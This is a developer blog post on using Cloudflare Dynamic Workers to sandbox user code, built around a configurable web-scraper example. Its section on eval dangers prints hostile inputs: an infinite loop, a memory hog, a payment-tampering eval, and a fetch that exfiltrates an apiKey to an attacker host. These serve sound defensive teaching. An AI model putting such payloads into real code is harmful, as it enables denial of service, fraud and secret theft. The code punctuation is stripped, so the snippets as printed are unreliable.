Working with Dynamic Workers

Cloudflare launched Dynamic Workers, a new primitive for spinning up isolated Cloudflare Workers with a single call, enabling safe execution of arbitrary user code. The feature addresses limitations of eval by providing separate execution threads, memory isolation, and restricted access, and can be used to make web apps programmable by end users.

Cloudflare recently launched Dynamic Workers https://blog.cloudflare.com/dynamic-workers/ as a new primitive that is a bit lighter weight than Workers for Platforms https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/ . Most of the marketing has, understandably, focused on Agents and code mode https://blog.cloudflare.com/code-mode/ , a way of letting an LLM agent safely run arbitrary code in tiny ephemeral sandboxes that has some strong benefits over more limited MCP tool calls: reductions in context, composability, etc. I’m a bit more interested in how they can enable web apps to become programmable by the end user. You can find my full thoughts here /blog/extensible-software-in-the-age-of-llms , but I thought a more code-level walkthrough of how you can build with them would be a useful companion piece. 1 user-content-fn-llm-footnote Overview overview Dynamic Workers allow you to spin up a new Cloudflare Worker with a single call. Call it once, or dozens of times. Create millions of them if you need. They are really cheap, spin up quickly, and provide a good security boundary so you can safely run arbitrary code. In the simplest case loading a new worker and executing it looks like this: js const worker = env.LOADER.load { compatibilityDate: "2026-06-28", mainModule: "src/index.js", modules: { "src/index.js": export default add a, b { return a + b; }; , }, } ; let response = worker.getEntrypoint .add 1, 2 ; Not your parents’ eval not-your-parents-eval Dynamic Workers sound a lot like eval but they avoid some important gotchas that you’ll run into face-first if you try to execute user-provided code. Shares the same thread of execution shares-the-same-thread-of-execution eval "while true {}" ; The eval ’d code can do basically anything, and you can’t pre-empt it from your own code. A single bad input can take down your whole server, or simply steal your CPU cycles to mine crypto. Shares memory with your code shares-memory-with-your-code js eval const hog = ; while true { hog.push new Array 1 000 000 .fill "x" ; } ; Again, your service is taken down by a single bad input. Access to outer state access-to-outer-state js function chargeUser userId { let amount = 10; let approved = false; eval amount = 0.01; approved = true; ; console.log Charging user ${userId}: $${amount}, approved=${approved} ; if approved processPayment userId, amount ; } eval gives access to everything in local scope. You can restrict this to the global object by running globalThis.eval code , but that’s still a lot of access. Access to network access-to-network eval fetch "https://attacker.example.com/exfil", { method: "POST", body: JSON.stringify { secret: apiKey } } ; If the eval ’d code does have access to any sensitive data, it can easily send it anywhere. Dynamic Workers dynamic-workers Cloudflare Workers already have to deal with all of this and much more at a massive, global scale, and Dynamic Workers get the benefit of all of those years of hardening. Setup setup Let’s imagine an app that can scrape web pages on behalf of a user, but the user gets to configure what they care about. We’d like to maximize the flexibility of what the user could feasibly do, but at the same time, we need to make sure that there are reasonable limits in place. We don’t want our service used as a DoS machine. With that in mind, we’re going to work with the following contract. The actual scraping is handled by the system, and then the user can provide a single transform function. It receives the contents scraped from a url, and can return a markdown string and / or an arbitrary JSON result. // user provides this function export default async function transform env: Env, input: Input : Promise<Result { // so much room for activities } with these types: export type Env = { // empty for now } export type Input = { url: string; finalUrl: string; status: number; contentType: string; responseHeaders: Map<string, string ; body: string; truncated: boolean; }; export type Result = { json?: unknown; markdown?: string; } We’ll capture this code from the user as user.js , which we can wrap in a harness. A simplified version of a harness would import the function we expect the user to export. We aren’t really gaining anything over running the user’s function directly yet, but it gives us a place to add our own logic. python import { WorkerEntrypoint, DurableObject } from 'cloudflare:workers'; import transform from './user.js'; export default class Harness extends WorkerEntrypoint { async run env, input { return transform {}, input ; } } And now we can load the final worker and pass it an input js const payload = fetchPayload submittedUrl ; const worker = env.LOADER.load { compatibilityDate: "2026-06-28", mainModule: "index.js", modules: { "user.js": userSubmittedCode, "index.js": harnessCode, }, } ; let response = worker.getEntrypoint .run env, payload ; This is simplified for the example. A real example will need to deal with more concerns such as error handling, compiling and bundling typescript, naming the script so that repeated invocations use a cached version, permissions, limits, and more, but this is enough for us to get started. A more complete example can be found in the repo for this blog post https://github.com/jmorrell/dynamic-workers-demo . Now, let’s see what we can build with the setup we’ve created. Basic Example basic-example One useful thing to do with a web page is to pull out the Open Graph meta tags https://ogp.me/ . These are html tags that are not rendered, but are frequently used to generate preview links for social media. <meta property="og:url" content <meta property="og:title" content="Wikipedia, the free encyclopedia" <meta property="og:type" content="website" <meta property="og:description" content="Wikipedia is a free online encyclopedia, created and edited by volunteers around the world and hosted by the Wikimedia Foundation." <meta property="og:image" content="https://upload.wikimedia.org/wikipedia/en/thumb/8/80/Wikipedia-logo-v2.svg/250px-Wikipedia-logo-v2.svg.png" Given our harness code, this is straightforward to write using regex. You can run this on any url you would like. Remember, this code is running on Cloudflare’s infrastructure Not locally in your browser. Note that some sites may block cloud browsers and will not work. Another very common task is converting the contents of the site as markdown. We don’t have to write that ourselves. If we add a build process to bundle dependencies, we can use the defuddle https://github.com/kepano/defuddle library to handle this for us, and allow our user to bring in dependencies from npm. The input does not have to be an HTML page. This example transforms a Hacker News API response into a summary of its top-scoring comments. CPU and communication limits cpu-and-communication-limits Because this user code is running on a Cloudflare Worker, we can modify our LOADER options and enforce fine-grained limits on CPU usage and disable network access entirely. js const worker = env.LOADER.load { // ... // disable fetch globalOutbound: null, // set a bound on CPU time limits: { cpuMs: 50, }, } ; An infinite loop is no problem. Trying to sneak in a fetch call? Nope, can’t do that Passing in your own bindings passing-in-your-own-bindings A function that can only return a value can be useful sometimes, but what if we need the user to be able to take some action? or if they need some additional tools? That’s why we have the env parameter in our example. We can decide on functionality that the user might need and pass it in to them. If you are familiar with the way Cloudflare Worker Bindings https://developers.cloudflare.com/workers/runtime-apis/bindings/ work, it’s very similar. Except instead of exposing a SQL or KV interface, we get to choose our own The easiest thing might be to pass a Cloudflare binding straight through. Let’s say we’ve used Workers for Platforms https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/configuration/bindings/ to generate a KV namespace for each user. We might pass it through like this: export default class Harness extends WorkerEntrypoint { async run env, input { const userEnv = { KV: getKVForUser env.USER ID , }; return transform userEnv, input ; } } And from the user’s perspective it’s like they get a normal KV binding, because we just gave them a reference to one. export default async function transform env: Env, input: Input : Promise<Result { // The user gets the userEnv we've passed through as an argument and can // invoke it like any normal KV binding let result = await env.KV.get input.url ; // ... } We may not want to give our user free rein over using a KV call, so we may wish to wrap it in our own logic. We can add a rate limiter, or even enforce that it can only be called a limited number of times within a single invocation. We’re building our own platform, and we can decide what limits make sense. // This is a admittedly a little contrived function wrapKV kv: KVNamespace, maxOperations = 5 { let operations = 0; function consumeOperation { if operations = maxOperations { throw new Error KV operation limit exceeded maximum ${maxOperations} per invocation , ; } operations += 1; } return Object.freeze { async get key: string { consumeOperation ; return kv.get key ; }, async put key: string, value: string { consumeOperation ; return kv.put key, value ; }, async delete key: string { consumeOperation ; return kv.delete key ; }, } ; } export default class Harness extends WorkerEntrypoint { async run env, input { const userEnv = { KV: wrapKV getKVForUser env.USER ID , }; return transform userEnv, input ; } } Because wrapKV is called inside run , each invocation gets a fresh counter. The user receives only the three methods we explicitly expose, and every operation shares the same five-call budget. If you provide an HTTP API to the user and then try to enforce constraints like this in an HTTP proxy it would be significantly harder to encode that logic in something that doesn’t share any state with the invocation. New writing, occasionally. Get my posts in your inbox. No fixed schedule, no noise. Creating your own bindings creating-your-own-bindings So far we’ve passed in platform bindings, but they are just modules or RpcTarget ’s, which we can treat as module reference , we don’t have to use platform bindings, we can create our own The next logical feature for our little scraper is to be able to spider off to other pages. The easiest thing to do would be to re-introduce fetch . This… would work, but then we lose the guarantees we would like our platform to provide. Someone could start using us to DoS, or if we ever allow sensitive user data into this function, the user’s code could POST it wherever they liked. One reasonable approach might be to pass env.fetch but wrap it and enforce some logic: js function wrapFetch originalFetch: typeof fetch, domain: string { const allowedHostname = domain.toLowerCase .replace /\.$/, "" ; return async function restrictedFetch input: RequestInfo | URL, init?: RequestInit, : Promise<Response { const request = new Request input, init ; const url = new URL request.url ; if request.method == "GET" { throw new Error Only GET requests are allowed, got ${request.method} ; } const hostname = url.hostname.toLowerCase .replace /\.$/, "" ; if hostname == allowedHostname { throw new Error Requests to ${hostname} are not allowed; expected ${allowedHostname} , ; } return originalFetch request ; }; } This is better But the user could likely still misuse this if they’re clever. The core idea is that we are exposing capabilities https://en.wikipedia.org/wiki/Object-capability model to the users code, and that comes with a whole lot of theories and precedent that I am honestly still learning and not yet qualified to teach. However LLMs know this space pretty well You can shift into that latent space by giving them the magic phrase: “think of this from an OCaps perspective” plus a description of the problem you’d like to solve. My LLM comes up with the following alternative design. Instead of letting the user give us arbitrary urls, we can parse urls out of the page that they requested. For each url in the html we can provide them with a ResourceCapability . js const articleUrl = "https://example.com/article"; // Merely knowing this URL is not enough. The lookup succeeds only if the // requested page actually contained this exact URL and the host granted it. const article = env.resources?.get articleUrl ; if article { throw new Error The page did not grant access to ${articleUrl} ; } // read takes no URL: this object is already bound to articleUrl. const response = await article.read ; This allows the user to spider out from the requested page, but only in ways we control. We can add rate-limits, limit the number of scraped pages, or any other logic we can think of. The full types are a bit of a doozy and may seem a bit awkward, however I promise you that LLMs find it really easy to write code against TypeScript definitions like this. Note that this allows the user to get the raw bytes for any non-html files they might want to download. I’ll include some examples of this below. type TransformEnv = { resources?: ReadonlyMap<string, ResourceCapability ; }; type ResourceSource = | { kind: "html"; element: string; attribute: string } | { kind: "text" }; type ResourceDescriptor = { url: string; source: ResourceSource; }; type ResourceCapability = ResourceDescriptor & { read : Promise<ResourceResult ; }; type ResourceResult = ResourceTextResult | ResourceBytesResult; type ResourceTextResult = { kind: "text"; status: number; contentType: string; body: string; truncated: boolean; resources: ReadonlyMap<string, ResourceCapability ; }; type ResourceBytesResult = { kind: "bytes"; status: number; contentType: string; bytes: Uint8Array; truncated: boolean; }; One immediate example we could build would be pulling in the top N articles from an RSS feed: O11y: logging o11y-logging If we’re going to let users run their own code, they also need to be able to debug it. They’re going to reach for console.log almost immediately, and we should capture those logs and feed them back. We can see our own worker logs in the Cloudflare Dashboard https://developers.cloudflare.com/workers/observability/ , but we can’t give our users access to our data Workers gives us a nice way to capture this telemetry data: a tail worker https://developers.cloudflare.com/workers/observability/logs/tail-workers/ . A tail worker receives events from the Worker its attached to, including its logs and uncaught exceptions. We don’t need to change the user code at all. We can attach the tail when we create the Dynamic Worker: js const tail = ctx.exports.LogTailer { props: { runId }, } ; const worker = env.LOADER.load { // compatibilityDate, mainModule, modules, limits, etc. // ... tails: tail , } ; const result = await worker.getEntrypoint .run input ; A minimal tail worker might look something like this: js import { WorkerEntrypoint } from "cloudflare:workers"; export class LogTailer extends WorkerEntrypoint<Env { async tail events: TraceItem { const { runId } = this.ctx.props as { runId: string }; for const event of events { for const log of event.logs { // Do something with the logs await this.env.LOGS.append runId, { level: log.level, message: log.message.map String .join " " , } ; } for const exception of event.exceptions { // Do something with the exceptions await this.env.LOGS.append runId, { level: "error", message: ${exception.name}: ${exception.message} , } ; } } } } What you do with these events will depend on how you structure your app. Here LOGS is a Durable Object for this particular run. Before we return the result to the browser we collect all of the logs that the DO has received. Now the user’s normal console.log calls are visible to our platform without needing to change the code at all. Check the RSS example below and notice the nice shiny logs tab after it returns a result. O11y: tracing o11y-tracing If you’ve read much of my blog, you probably saw this coming. We gotta have tracing right? Unfortunately Automatic Tracing https://blog.cloudflare.com/workers-tracing-now-in-open-beta/ does not yet support capturing spans in a tail worker, so this is a little more complicated than logging. The key insight is that we’ve turned off all of the network connection, and control every action the user can take outside of pure computation. We can wrap each of these with our own instrumentation. Remember that spans are just ✨fancy logs✨? Check out my blog post on building your own tracing library if this doesn’t ring a bell https://jeremymorrell.dev/blog/minimal-js-tracing/ . This looks a bit verbose and scary, but I promise the logic is simple to follow. We’re basically running a function but tracking how long it takes, whether it threw an error, and some metadata. async function traceIO<T tracer: Tracer, options: { name: string; parentSpanId?: string; attributes?: Record<string, unknown ; }, operation: = Promise<T , : Promise<T { const spanId = crypto.randomUUID ; const startedAt = performance.now ; try { const result = await operation ; tracer.add { spanId, parentSpanId: options.parentSpanId, name: options.name, start: startedAt, end: performance.now , status: "ok", attributes: options.attributes, } ; return result; } catch error { tracer.add { spanId, parentSpanId: options.parentSpanId, name: options.name, start: startedAt, end: performance.now , status: "error", attributes: { ...options.attributes, error: error instanceof Error ? error.message : String error , }, } ; throw error; } } Then we wrap the places where our platform does I/O. We’re manually propagating parentSpanId here to keep the code simple if a bit verbose . A more clever solution could use AsyncLocalStorage https://nodejs.org/api/async context.html . js const input = await traceIO tracer, { name: "target fetch", parentSpanId: runSpanId, attributes: { url } }, = fetchTarget url , ; const result = await traceIO tracer, { name: "loader", parentSpanId: runSpanId }, = worker.getEntrypoint .run input , ; const logs = await traceIO tracer, { name: "logs read", parentSpanId: runSpanId }, = getLogs runId , ; The result is small enough to return directly with the rest of the invocation response. Here’s the RSS example again: Or we might want to fetch information about a GitHub repo: wasm support wasm-support One of the benefits of working in V8 is that it supports wasm “out-of-the-box”. Indeed, once we have built wasm bytecode, we can import it like any module and pass it to WebAssembly.instantiate moduleName ; . Potentially the simplest possible example is just using wasm to add two numbers together: But wasm lets us do almost anything Let’s process the images on the page using @cf-wasm/photon https://www.npmjs.com/package/@cf-wasm/photon . Or with the rise of LLMs there’s also been a rise of utilities to efficiently parse PDFs. liteparse https://github.com/run-llama/liteparse is super lightweight and fits into a worker. Let’s go from an arxiv.org title page https://arxiv.org/abs/1706.03762 , find the linked PDF https://arxiv.org/pdf/1706.03762 , and extract the text. Or capture some data about recently published papers in a particular field. Storage w/ DO facets storage-w-do-facets The last thing our little platform is missing is memory. Every invocation so far has started from scratch, which is a fantastic default until we want to enable the user to store some data. As we showed before, we could pass through a platform binding KV, D1, etc , but then we are back to deciding how much of a platform binding we really want user code to have. Instead we’ll expose one deliberately small capability: type TransformEnv = { //... DB?: Database; }; type Database = { readonly databaseSize: number; exec<T query: string, ...bindings: unknown : { toArray : T ; }; }; You might want to read the official blog post https://blog.cloudflare.com/durable-object-facets-dynamic-workers/ for this one. We really are giving user their own database. They can create tables, build indexes, and run arbitrary SQL, but only against the database attached to their own Durable Object facet https://developers.cloudflare.com/dynamic-workers/usage/durable-object-facets/ . We still wrap exec so we can enforce limits that make sense for our platform. What’s a facet? Honestly it’s a little confusing We’re running a user’s code within a Durable Object that we control. A normal Dynamic Worker entrypoint does not have durable storage attached to it, but facets let a Durable Object that we trust mount a class exported by the Dynamic Worker as a child. Each child facet gets its own isolated SQLite database. Inside the Dynamic Worker bundle, our harness exports a storage-enabled Durable Object class. This should look familiar, except now it’s in a class and all stateful. The interface to the user doesn’t change however, we just pass it a wrapped reference to the DO storage. export class StorageHarness extends DurableObject { async run input: Input { const userEnv = { DB: wrapDatabase this.ctx.storage , }; return transform userEnv, input ; } } Our trusted supervisor loads that class, mounts a facet for the current script, and forwards the invocation over RPC: export class StorageHost extends DurableObject<Env { async run scriptId: string, code: WorkerCode, input: Input { const worker = this.env.LOADER.get scriptId, = code ; const facet = this.ctx.facets.get scriptId, async = { class: worker.getDurableObjectClass "StorageHarness" , } ; return facet.run input ; } } The supervisor has its own database, and every facet has a separate database that the others cannot access. In this demo an anonymous ID generated by the browser chooses the supervisor, and the scriptId here changes every time you modify a script. The stores also expire after about an hour because this is a personal blog demo, and I don’t want a big surprise bill 😅. Durable Objects have a size limit of 10GB that must be shared amongst all the facets. What if we don’t want each user to be able to store 10 whole gigabytes? We can enforce a smaller limit wrapDatabase runs each query inside transactionSync . After the query has run, we inspect both the cursor and sql.databaseSize . Throwing rolls the whole query back: function wrapDatabase storage { const { sql } = storage; return { get databaseSize { return sql.databaseSize; }, exec query, ...bindings { const sizeBefore = sql.databaseSize; return storage.transactionSync = { const cursor = sql.exec query, ...bindings ; const rows = cursor.toArray ; // 128kb ought to be enough for anyone if sql.databaseSize 128 1024 && sql.databaseSize sizeBefore { throw new Error "database size quota exceeded" ; } return { rowsRead: cursor.rowsRead, rowsWritten: cursor.rowsWritten, toArray: = rows, }; } ; }, }; } The 128 KiB limit here is deliberately tiny. SQLite allocates space in pages, so the exact query that crosses it depends on the schema and data. Read-only queries still work, and writes that do not grow an already-oversized database remain available so user code can clean up. From the user’s perspective none of that plumbing is visible. They can use SQLite normally: env.DB.exec CREATE TABLE IF NOT EXISTS submissions id INTEGER PRIMARY KEY AUTOINCREMENT, url TEXT NOT NULL ; env.DB.exec "INSERT INTO submissions url VALUES ? ", input.url, ; return env.DB.exec "SELECT url FROM submissions ORDER BY id", .toArray ; Run the example with a few different URLs and each response will include everything you submitted before it. The state survives the Dynamic Worker invocation, but it remains scoped to this browser and this script. You can use Clear stored data to start over. Write your own write-your-own I’ve been having you run my examples, but all of the widgets allow you to edit the code and run your own logic The editor below has all of the capabilities we’ve built up over the course of this post: it can follow links from the page, keep data in SQLite, write logs, and show you a trace of the I/O it performs. There is also an LLM prompt tab with the full contract and type signatures. Describe what you want the transform to do, copy the prompt into your LLM of choice, then paste the result back into transform.ts . Or, you know, write the code yourself. I hear some people are into that. Wrapping up wrapping-up Our little web scraper grew up quite quickly We can spider across websites, process PDFs, and it even has its own very smol SQL database. I don’t think every app needs its own code editor bolted on, but I think we are just scratching the surface of what web software could look like now that LLMs can knock out a feature on their own. If we craft our extension points carefully, we can let users safely vibe out and make your app their own. Check out my full thoughts here /blog/extensible-software-in-the-age-of-llms if you want the longer-version.